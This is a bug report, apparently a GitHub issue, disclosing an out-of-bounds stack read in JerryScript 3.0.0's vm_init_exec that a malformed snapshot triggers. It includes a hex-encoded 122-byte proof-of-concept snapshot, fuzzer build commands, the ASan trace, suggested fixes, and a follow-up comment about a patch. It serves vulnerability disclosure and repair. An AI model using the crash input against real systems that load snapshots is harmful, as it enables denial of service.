Skip to content

[Bug]Malformed snapshot bytecode drives VM-init stack-buffer-overflow (vm_init_exec, vm.c:5190) (CWE-125) #5302

Description

@1820893135-pixel

Summary

A malformed snapshot, after deserialization, produces bytecode with anomalous register_end / literal_end fields. When the VM executes it, vm_init_exec computes literal_start_p and the register area from these untrusted fields (vm.c:5190 reads data in the literal_end range), pointing outside the 24-byte shared struct (frame [32,56)) on the vm_run_global stack. ASan reports a stack-buffer-overflow: READ of size 8 at offset 56 — an out-of-bounds read of the stack variable shared.

  • Affected: JerryScript 3.0.0 (jerry-core/vm/vm.c:5190 in vm_init_exec, reached from vm_run_global at jerry-snapshot.c:1024)
  • Severity: High
  • CWE: CWE-125 (Out-of-bounds Read)

Detail

The root cause is again in the snapshot deserialization stage: the bytecode header fields register_end / literal_end / argument_end are not validated for consistency, so an illegal layout propagates into VM initialization. A 122-byte malformed snapshot is sufficient to trigger the stack OOB read and abort the process.

POC

# 0) rebuild POC
printf '534e41504a5252594600000000000000680000000100000018000000060001000010030133000000010303040700000087000000300000005000015303012c02380100d1d05600008701000004000100101001013300000001010202a00000009a00015500000000070000000100680005007072696e74000000' | xxd -r -p > poc.bin

# 1) build (ASan+UBSan, snapshot exec enabled)
cmake -S . -B build -DENABLE_LTO=OFF -DJERRY_SNAPSHOT_EXEC=ON -DJERRY_SNAPSHOT_SAVE=ON \
      -DCMAKE_BUILD_TYPE=RelWithDebInfo -DCMAKE_C_COMPILER=clang \
      -DCMAKE_C_FLAGS="-fsanitize=address,undefined -fno-sanitize-recover=all -O1 -g"
cmake --build build --target jerry-core jerry-port -j$(nproc)
clang -fsanitize=fuzzer,address,undefined -fno-sanitize-recover=all -O1 -g -DJERRY_SNAPSHOT_EXEC=1 \
      -I jerry-core/include harness.c build/lib/libjerry-core.a build/lib/libjerry-port.a -lm -o jerry_fuzzer

# 2) reproduce
./jerry_fuzzer poc.bin

Trigger result (ASan)

ERROR: AddressSanitizer: stack-buffer-overflow on address ... READ of size 8 at offset 56
    #0 ... vm_init_exec vm.c:5190
    #1 ... vm_run_global jerry-snapshot.c:1024
    #2 ... fuzz_snapshot harness.c

The read goes 8 bytes past the 24-byte shared struct on the stack frame.

  • Replay exit code: 134 (ASan abort)
  • Deterministic: yes.
Image Image

Impact

A 122-byte malformed snapshot deterministically triggers an ASan stack OOB read and aborts the process (DoS). The defect is a stack OOB read; primary impact is process crash. If a future path reuses the OOB-read address for a write (e.g., the VM writing back to the register area), stack corruption becomes possible, raising severity. On the current evidence, impact is DoS.

Suggested fix

  1. Validate register_end / literal_end / argument_end consistency during snapshot deserialization; reject bytecode where the register/literal regions exceed the snapshot bounds.
  2. In vm_init_exec, bound-check the computed literal_start_p / register area against the actual ecma_compiled_code_t extent before dereferencing.

Activity

  1. changed the title [-]Malformed snapshot bytecode drives VM-init stack-buffer-overflow (vm_init_exec, vm.c:5190) (CWE-125)[/-] [+][Bug]Malformed snapshot bytecode drives VM-init stack-buffer-overflow (vm_init_exec, vm.c:5190) (CWE-125)[/+] on Sep 11, 2026
  2. 1820893135-pixel commented on Sep 23, 2026

    @1820893135-pixel
    Author

    Opened #5310 with a fix. vm_init_exec() was choosing the shared-frame layout
    from argument_end (a bytecode header field) while the layout is really
    described by VM_FRAME_CTX_SHARED_HAS_ARG_LIST, which is only set by callers
    that actually build the args variant. The JERRY_ASSERT that would have caught
    the mismatch is compiled out with NDEBUG. The fix tests the flag instead.

    Re-verified on current master (b706935), 122-byte snapshot:

    ==ERROR: AddressSanitizer: stack-buffer-overflow
    READ of size 8
        #0 vm_init_exec vm.c:5190
        #1 vm_run vm.c:5330
        #2 vm_run_global vm.c:286
        #3 jerry_exec_snapshot jerry-snapshot.c:1024
      [32, 56) 'shared' (line 272) <== Memory access at offset 56 overflows
    

    Distinct from #5301: #5301 is the unchecked function/literal offsets in
    jerry_exec_snapshot/snapshot_load_compiled_code (fixed by #5311), whereas
    this one is reached later, in the VM, after a snapshot loads successfully.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions